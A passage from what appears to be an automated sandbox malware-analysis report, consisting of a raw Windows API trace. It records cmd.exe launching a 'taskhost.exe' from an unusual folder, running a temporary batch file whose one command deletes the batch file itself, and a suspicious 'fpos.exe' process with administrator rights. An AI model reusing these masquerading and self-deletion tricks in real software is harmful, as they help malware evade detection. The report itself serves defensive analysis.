returned 0xb [0181.972] SetErrorMode (uMode=0x0) returned 0x0 [0181.972] SetErrorMode (uMode=0x1) returned 0x0 [0181.972] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\.", nBufferLength=0x208, lpBuffer=0x45b790, lpFilePart=0x302440 | out: lpBuffer="C:\\Program Files\\Reference Assemblies", lpFilePart=0x302440*="Reference Assemblies") returned 0x25 [0181.972] SetErrorMode (uMode=0x0) returned 0x1 [0181.972] GetProcessHeap () returned 0x440000 [0181.972] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x45b780, Size=0x76) returned 0x45b780 [0181.972] GetProcessHeap () returned 0x440000 [0181.972] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45b780) returned 0x76 [0181.972] NeedCurrentDirectoryForExePathW (ExeName="C:\\Program Files\\Reference Assemblies\\.") returned 1 [0181.972] GetProcessHeap () returned 0x440000 [0181.972] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x8, Size=0x62) returned 0x46abc0 [0181.972] GetProcessHeap () returned 0x440000 [0181.973] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x8, Size=0xb0) returned 0x46ac30 [0181.973] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x46ac30, Size=0x62) returned 0x46ac30 [0181.973] GetProcessHeap () returned 0x440000 [0181.973] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x46ac30) returned 0x62 [0181.973] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a67f360, nSize=0x2000 | out: lpBuffer="") returned 0x35 [0181.973] GetProcessHeap () returned 0x440000 [0181.973] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x8, Size=0xe8) returned 0x46acb0 [0181.973] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x46acb0, Size=0x7e) returned 0x46acb0 [0181.973] GetProcessHeap () returned 0x440000 [0181.973] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x46acb0) returned 0x7e [0181.973] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0181.973] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\taskhost.exe" (normalized: "c:\\program files\\reference assemblies\\taskhost.exe"), fInfoLevelId=0x1, lpFindFileData=0x3021b0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3021b0) returned 0x45f740 [0181.973] FindClose (in: hFindFile=0x45f740 | out: hFindFile=0x45f740) returned 1 [0181.973] _wcsicmp (_String1=".exe", _String2=".CMD") returned 2 [0181.973] _wcsicmp (_String1=".exe", _String2=".BAT") returned 3 [0181.973] GetStartupInfoW (in: lpStartupInfo=0x302880 | out: lpStartupInfo=0x302880*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\System32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0181.973] InitializeProcThreadAttributeList (in: lpAttributeList=0x0, dwAttributeCount=0x2, dwFlags=0x0, lpSize=0x302758 | out: lpAttributeList=0x0, lpSize=0x302758) returned 0 [0181.974] GetLastError () returned 0x7a [0181.974] GetProcessHeap () returned 0x440000 [0181.974] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x8, Size=0x48) returned 0x468230 [0181.974] InitializeProcThreadAttributeList (in: lpAttributeList=0x468230, dwAttributeCount=0x2, dwFlags=0x0, lpSize=0x302758 | out: lpAttributeList=0x468230, lpSize=0x302758) returned 1 [0181.974] UpdateProcThreadAttribute (in: lpAttributeList=0x468230, dwFlags=0x0, Attribute=0x60001, lpValue=0x302750, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x468230, lpPreviousValue=0x0) returned 1 [0181.974] CreateProcessW (in: lpApplicationName="C:\\Program Files\\Reference Assemblies\\taskhost.exe", lpCommandLine="\"C:\\Program Files\\Reference Assemblies\\taskhost.exe\" ", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80410, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x302790*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x3, hStdOutput=0x7, hStdError=0xb), lpProcessInformation=0x302778 | out: lpCommandLine="\"C:\\Program Files\\Reference Assemblies\\taskhost.exe\" ", lpProcessInformation=0x302778*(hProcess=0x64, hThread=0x60, dwProcessId=0xd70, dwThreadId=0xd68)) returned 1 [0181.978] DeleteProcThreadAttributeList (in: lpAttributeList=0x468230 | out: lpAttributeList=0x468230) [0181.978] GetProcessHeap () returned 0x440000 [0181.978] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x468230 | out: hHeap=0x440000) returned 1 [0181.978] GetLastError () returned 0x715 [0181.978] ResumeThread (hThread=0x60) returned 0x0 [0181.978] CloseHandle (hObject=0x60) returned 1 [0181.978] CloseHandle (hObject=0x64) returned 1 [0181.979] _get_osfhandle (_FileHandle=1) returned 0x7 [0181.979] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0181.979] _get_osfhandle (_FileHandle=1) returned 0x7 [0181.979] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a67e194 | out: lpMode=0x4a67e194) returned 1 [0181.979] _get_osfhandle (_FileHandle=0) returned 0x3 [0181.979] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a67e198 | out: lpMode=0x4a67e198) returned 1 [0181.979] SetConsoleInputExeNameW () returned 0x1 [0181.979] GetConsoleOutputCP () returned 0x1b5 [0181.979] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a68bfe0 | out: lpCPInfo=0x4a68bfe0) returned 1 [0181.979] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0181.980] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\GYwzkQocQK.bat" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\gywzkqocqk.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x31f2a8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x64 [0181.980] _open_osfhandle (_OSFileHandle=0x64, _Flags=8) returned 3 [0181.980] _get_osfhandle (_FileHandle=3) returned 0x64 [0181.980] SetFilePointer (in: hFile=0x64, lDistanceToMove=151, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x97 [0181.980] GetProcessHeap () returned 0x440000 [0181.980] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x46acb0 | out: hHeap=0x440000) returned 1 [0181.980] GetProcessHeap () returned 0x440000 [0181.981] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x46ac30 | out: hHeap=0x440000) returned 1 [0181.981] GetProcessHeap () returned 0x440000 [0181.981] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x46abc0 | out: hHeap=0x440000) returned 1 [0181.981] GetProcessHeap () returned 0x440000 [0181.981] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45b780 | out: hHeap=0x440000) returned 1 [0181.981] GetProcessHeap () returned 0x440000 [0181.981] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x46ab20 | out: hHeap=0x440000) returned 1 [0181.981] GetProcessHeap () returned 0x440000 [0181.981] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x46aa80 | out: hHeap=0x440000) returned 1 [0181.981] GetProcessHeap () returned 0x440000 [0181.981] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45f6b0 | out: hHeap=0x440000) returned 1 [0181.981] GetProcessHeap () returned 0x440000 [0181.981] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4548a0 | out: hHeap=0x440000) returned 1 [0181.982] GetProcessHeap () returned 0x440000 [0181.982] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45f5f0 | out: hHeap=0x440000) returned 1 [0181.982] _get_osfhandle (_FileHandle=3) returned 0x64 [0181.982] SetFilePointer (in: hFile=0x64, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x97 [0181.982] ReadFile (in: hFile=0x64, lpBuffer=0x4a68c320, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x31f0b0, lpOverlapped=0x0 | out: lpBuffer=0x4a68c320*, lpNumberOfBytesRead=0x31f0b0*=0x44, lpOverlapped=0x0) returned 1 [0181.983] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a68c320, cbMultiByte=68, lpWideCharStr=0x4a68e320, cchWideChar=8191 | out: lpWideCharStr="del /a /q /f \"C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\\\GYwzkQocQK.bat\" 1>nul\r\n") returned 68 [0181.983] _get_osfhandle (_FileHandle=3) returned 0x64 [0181.983] SetFilePointer (in: hFile=0x64, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xdb [0181.983] ReadFile (in: hFile=0x64, lpBuffer=0x4a68c320, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x31eeb0, lpOverlapped=0x0 | out: lpBuffer=0x4a68c320*, lpNumberOfBytesRead=0x31eeb0*=0x0, lpOverlapped=0x0) returned 1 [0181.983] GetLastError () returned 0x0 [0181.983] _get_osfhandle (_FileHandle=3) returned 0x64 [0181.983] GetFileType (hFile=0x64) returned 0x1 [0181.983] _get_osfhandle (_FileHandle=3) returned 0x64 [0181.983] SetFilePointer (in: hFile=0x64, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xdb [0181.983] GetProcessHeap () returned 0x440000 [0181.983] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x8, Size=0x4012) returned 0x46ae70 [0181.983] GetProcessHeap () returned 0x440000 [0181.984] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x46ae70 | out: hHeap=0x440000) returned 1 [0181.984] GetProcessHeap () returned 0x440000 [0181.984] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x8, Size=0x94) returned 0x45f6b0 [0181.984] _tell (_FileHandle=3) returned 219 [0181.984] _close (_FileHandle=3) returned 0 [0181.984] _wcsicmp (_String1="del", _String2="DIR") returned -4 [0181.984] _wcsicmp (_String1="del", _String2="ERASE") returned -1 [0181.984] _wcsicmp (_String1="del", _String2="DEL") returned 0 [0181.984] GetConsoleTitleW (in: lpConsoleTitle=0x31f050, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b [0181.984] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x4677e0, Size=0x9a) returned 0x4677e0 [0181.984] GetProcessHeap () returned 0x440000 [0181.984] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x4677e0) returned 0x9a [0181.984] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x45bd40, Size=0x9a) returned 0x45bd40 [0181.984] GetProcessHeap () returned 0x440000 [0181.984] RtlSizeHeap (HeapHandle=0x440000, Flags=0x0, MemoryPointer=0x45bd40) returned 0x9a [0181.997] GetCurrentDirectoryW (in: nBufferLength=0x106, lpBuffer=0x31ebb0 | out: lpBuffer="C:\\comproviderRuntimecommon") returned 0x1b [0181.997] GetProcessHeap () returned 0x440000 [0181.997] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x8, Size=0x58) returned 0x467940 [0181.997] GetCurrentDirectoryW (in: nBufferLength=0x106, lpBuffer=0x31dac0 | out: lpBuffer="C:\\comproviderRuntimecommon") returned 0x1b [0181.997] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x0, lpMaximumComponentLength=0x31dd78, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x31e5d0, nFileSystemNameSize=0x106 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x0, lpMaximumComponentLength=0x31dd78*=0xff, lpFileSystemFlags=0x0, lpFileSystemNameBuffer="NTFS") returned 1 [0181.998] _wcsicmp (_String1="NTFS", _String2="FAT") returned 8 [0181.998] GetProcessHeap () returned 0x440000 [0181.998] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x8, Size=0x58) returned 0x45be80 [0181.998] GetProcessHeap () returned 0x440000 [0181.998] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x8, Size=0x260) returned 0x46aa80 [0181.998] _wcsicmp (_String1="GYwzkQocQK.bat", _String2=".") returned 57 [0181.998] _wcsicmp (_String1="GYwzkQocQK.bat", _String2="..") returned 57 [0181.998] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\\\GYwzkQocQK.bat" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\gywzkqocqk.bat")) returned 0x2020 [0181.998] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x45b790 | out: lpBuffer="C:\\comproviderRuntimecommon") returned 0x1b [0181.998] SetErrorMode (uMode=0x0) returned 0x0 [0181.998] SetErrorMode (uMode=0x1) returned 0x0 [0181.998] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\\\GYwzkQocQK.bat", nBufferLength=0x104, lpBuffer=0x31dae0, lpFilePart=0x31dad0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\GYwzkQocQK.bat", lpFilePart=0x31dad0*="GYwzkQocQK.bat") returned 0x34 [0181.998] SetErrorMode (uMode=0x0) returned 0x1 [0181.998] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\\\" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp")) returned 0x2010 [0181.998] GetProcessHeap () returned 0x440000 [0181.998] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x8, Size=0x260) returned 0x45c720 [0181.999] _wcsicmp (_String1="GYwzkQocQK.bat", _String2=".") returned 57 [0181.999] _wcsicmp (_String1="GYwzkQocQK.bat", _String2="..") returned 57 [0181.999] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\\\GYwzkQocQK.bat" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\gywzkqocqk.bat")) returned 0x2020 [0181.999] FindFirstFileExW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\GYwzkQocQK.bat" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\gywzkqocqk.bat"), fInfoLevelId=0x0, lpFindFileData=0x441334, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x441334) returned 0x46ad60 [0181.999] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\GYwzkQocQK.bat" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\gywzkqocqk.bat")) returned 1 [0182.000] FindNextFileW (in: hFindFile=0x46ad60, lpFindFileData=0x441334 | out: lpFindFileData=0x441334*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f0f3520, ftCreationTime.dwHighDateTime=0x1d8a92a, ftLastAccessTime.dwLowDateTime=0x2f0f3520, ftLastAccessTime.dwHighDateTime=0x1d8a92a, ftLastWriteTime.dwLowDateTime=0x2f0f3520, ftLastWriteTime.dwHighDateTime=0x1d8a92a, nFileSizeHigh=0x0, nFileSizeLow=0xdb, dwReserved0=0x0, dwReserved1=0x0, cFileName="GYwzkQocQK.bat", cAlternateFileName="GYWZKQ~1.BAT")) returned 0 [0182.001] GetLastError () returned 0x12 [0182.001] FindClose (in: hFindFile=0x46ad60 | out: hFindFile=0x46ad60) returned 1 [0182.001] GetProcessHeap () returned 0x440000 [0182.001] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x441320 | out: hHeap=0x440000) returned 1 [0182.001] GetProcessHeap () returned 0x440000 [0182.001] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x46acf0 | out: hHeap=0x440000) returned 1 [0182.001] GetProcessHeap () returned 0x440000 [0182.001] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x456d60 | out: hHeap=0x440000) returned 1 [0182.001] GetProcessHeap () returned 0x440000 [0182.001] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45bee0 | out: hHeap=0x440000) returned 1 [0182.001] GetProcessHeap () returned 0x440000 [0182.002] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45c720 | out: hHeap=0x440000) returned 1 [0182.002] GetProcessHeap () returned 0x440000 [0182.002] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45b780 | out: hHeap=0x440000) returned 1 [0182.002] GetProcessHeap () returned 0x440000 [0182.002] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x46aa80 | out: hHeap=0x440000) returned 1 [0182.002] GetProcessHeap () returned 0x440000 [0182.003] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45be80 | out: hHeap=0x440000) returned 1 [0182.003] GetProcessHeap () returned 0x440000 [0182.003] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x467940 | out: hHeap=0x440000) returned 1 [0182.003] GetProcessHeap () returned 0x440000 [0182.003] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45bdf0 | out: hHeap=0x440000) returned 1 [0182.003] GetProcessHeap () returned 0x440000 [0182.003] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x45bd40 | out: hHeap=0x440000) returned 1 [0182.003] _get_osfhandle (_FileHandle=1) returned 0x7 [0182.003] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0182.004] _get_osfhandle (_FileHandle=1) returned 0x7 [0182.004] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a67e194 | out: lpMode=0x4a67e194) returned 1 [0182.004] _get_osfhandle (_FileHandle=0) returned 0x3 [0182.004] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a67e198 | out: lpMode=0x4a67e198) returned 1 [0182.004] SetConsoleInputExeNameW () returned 0x1 [0182.004] GetConsoleOutputCP () returned 0x1b5 [0182.004] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a68bfe0 | out: lpCPInfo=0x4a68bfe0) returned 1 [0182.004] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0182.004] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\GYwzkQocQK.bat" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\gywzkqocqk.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x31f2a8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff [0182.066] GetLastError () returned 0x2 [0182.066] _get_osfhandle (_FileHandle=2) returned 0xb [0182.066] GetFileType (hFile=0xb) returned 0x2 [0182.066] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb [0182.066] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x31f228 | out: lpMode=0x31f228) returned 1 [0182.066] _get_osfhandle (_FileHandle=2) returned 0xb [0182.066] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xb, lpConsoleScreenBufferInfo=0x31f260 | out: lpConsoleScreenBufferInfo=0x31f260) returned 1 [0182.067] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x236c, dwLanguageId=0x0, lpBuffer=0x4a696340, nSize=0x2000, Arguments=0x0 | out: lpBuffer="The batch file cannot be found.\r\n") returned 0x21 [0182.067] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x236c, dwLanguageId=0x0, lpBuffer=0x4a696340, nSize=0x2000, Arguments=0x31f2d0 | out: lpBuffer="The batch file cannot be found.\r\n") returned 0x21 [0182.067] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0x4a696340*, nNumberOfCharsToWrite=0x21, lpNumberOfCharsWritten=0x31f250, lpReserved=0x0 | out: lpBuffer=0x4a696340*, lpNumberOfCharsWritten=0x31f250*=0x21) returned 1 [0182.067] CmdBatNotification () returned 0x0 [0182.068] _get_osfhandle (_FileHandle=1) returned 0x7 [0182.068] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0182.068] _get_osfhandle (_FileHandle=1) returned 0x7 [0182.068] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a67e194 | out: lpMode=0x4a67e194) returned 1 [0182.068] _get_osfhandle (_FileHandle=0) returned 0x3 [0182.068] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a67e198 | out: lpMode=0x4a67e198) returned 1 [0182.068] SetConsoleInputExeNameW () returned 0x1 [0182.068] GetConsoleOutputCP () returned 0x1b5 [0182.068] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a68bfe0 | out: lpCPInfo=0x4a68bfe0) returned 1 [0182.069] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0182.069] exit (_Code=1) Process: id = "69" image_name = "fpos.exe" filename = "c:\\windows\\syswow64\\winrm\\0409\\fpos.exe" page_root = "0x411bf000" os_pid = "0xa88" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "25" os_parent_pid = "0xf78" cmd_line = "C:\\Windows\\SysWOW64\\winrm\\0409\\fpos.exe " cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f52a" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 5361 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 5362 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 5363 start_va = 0x1e0000 end_va = 0x2dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 5364 start_va = 0x1090000 end_va = 0x1165fff monitored = 1 entry_point = 0x115d67e region_type = mapped_file name = "fpos.exe" filename = "\\Windows\\SysWOW64\\winrm\\0409\\fpos.exe" (normalized: "c:\\windows\\syswow64\\winrm\\0409\\fpos.exe") Region: id = 5365 start_va = 0x76d20000 end_va = 0x76ec8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 5366 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 5367 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 5368 start_va = 0x7feff040000 end_va = 0x7feff040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 5369 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 5370 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 5371 start_va = 0x7fffffde000 end_va = 0x7fffffdefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 5482 start_va = 0x40000 end_va = 0x14ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000040000" filename = "" Region: id = 5483 start_va = 0x7fef9de0000 end_va = 0x7fef9e4efff monitored = 1 entry_point = 0x7fef9de1134 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\System32\\mscoree.dll" (normalized: "c:\\windows\\system32\\mscoree.dll") Region: id = 5484 start_va = 0x76b00000 end_va = 0x76c1efff monitored = 0 entry_point = 0x76b15340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 5485 start_va = 0x7fefcd20000 end_va = 0x7fefcd8bfff monitored = 0 entry_point = 0x7fefcd22780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 5486 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 5487 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 5488 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 5489 start_va = 0x40000 end_va = 0xa6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 5490 start_va = 0xd0000 end_va = 0x14ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 5491 start_va = 0x150000 end_va = 0x18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 5492 start_va = 0x2e0000 end_va = 0x3dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002e0000" filename = "" Region: id = 5493 start_va = 0x3e0000 end_va = 0x5fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003e0000" filename = "" Region: id = 5494 start_va = 0x7fefe7b0000 end_va = 0x7fefe88afff monitored = 0 entry_point = 0x7fefe7d0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 5495 start_va = 0x7fefec70000 end_va = 0x7fefed0efff monitored = 0 entry_point = 0x7fefec725a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 5496 start_va = 0x7fefec50000 end_va = 0x7fefec6efff monitored = 0 entry_point = 0x7fefec560e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 5497 start_va = 0x7fefe680000 end_va = 0x7fefe7acfff monitored = 0 entry_point = 0x7fefe6ced50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 5498 start_va = 0x3e0000 end_va = 0x4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003e0000" filename = "" Region: id = 5499 start_va = 0x580000 end_va = 0x5fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000580000" filename = "" Region: id = 5500 start_va = 0x600000 end_va = 0x6fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000600000" filename = "" Region: id = 5624 start_va = 0x7fef8bb0000 end_va = 0x7fef8c58fff monitored = 1 entry_point = 0x7fef8bb1010 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscoreei.dll") Region: id = 5625 start_va = 0x7fef9dd0000 end_va = 0x7fef9dd2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-synch-l1-2-0.dll") Region: id = 5626 start_va = 0x7fefe890000 end_va = 0x7fefe900fff monitored = 0 entry_point = 0x7fefe8a1e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" 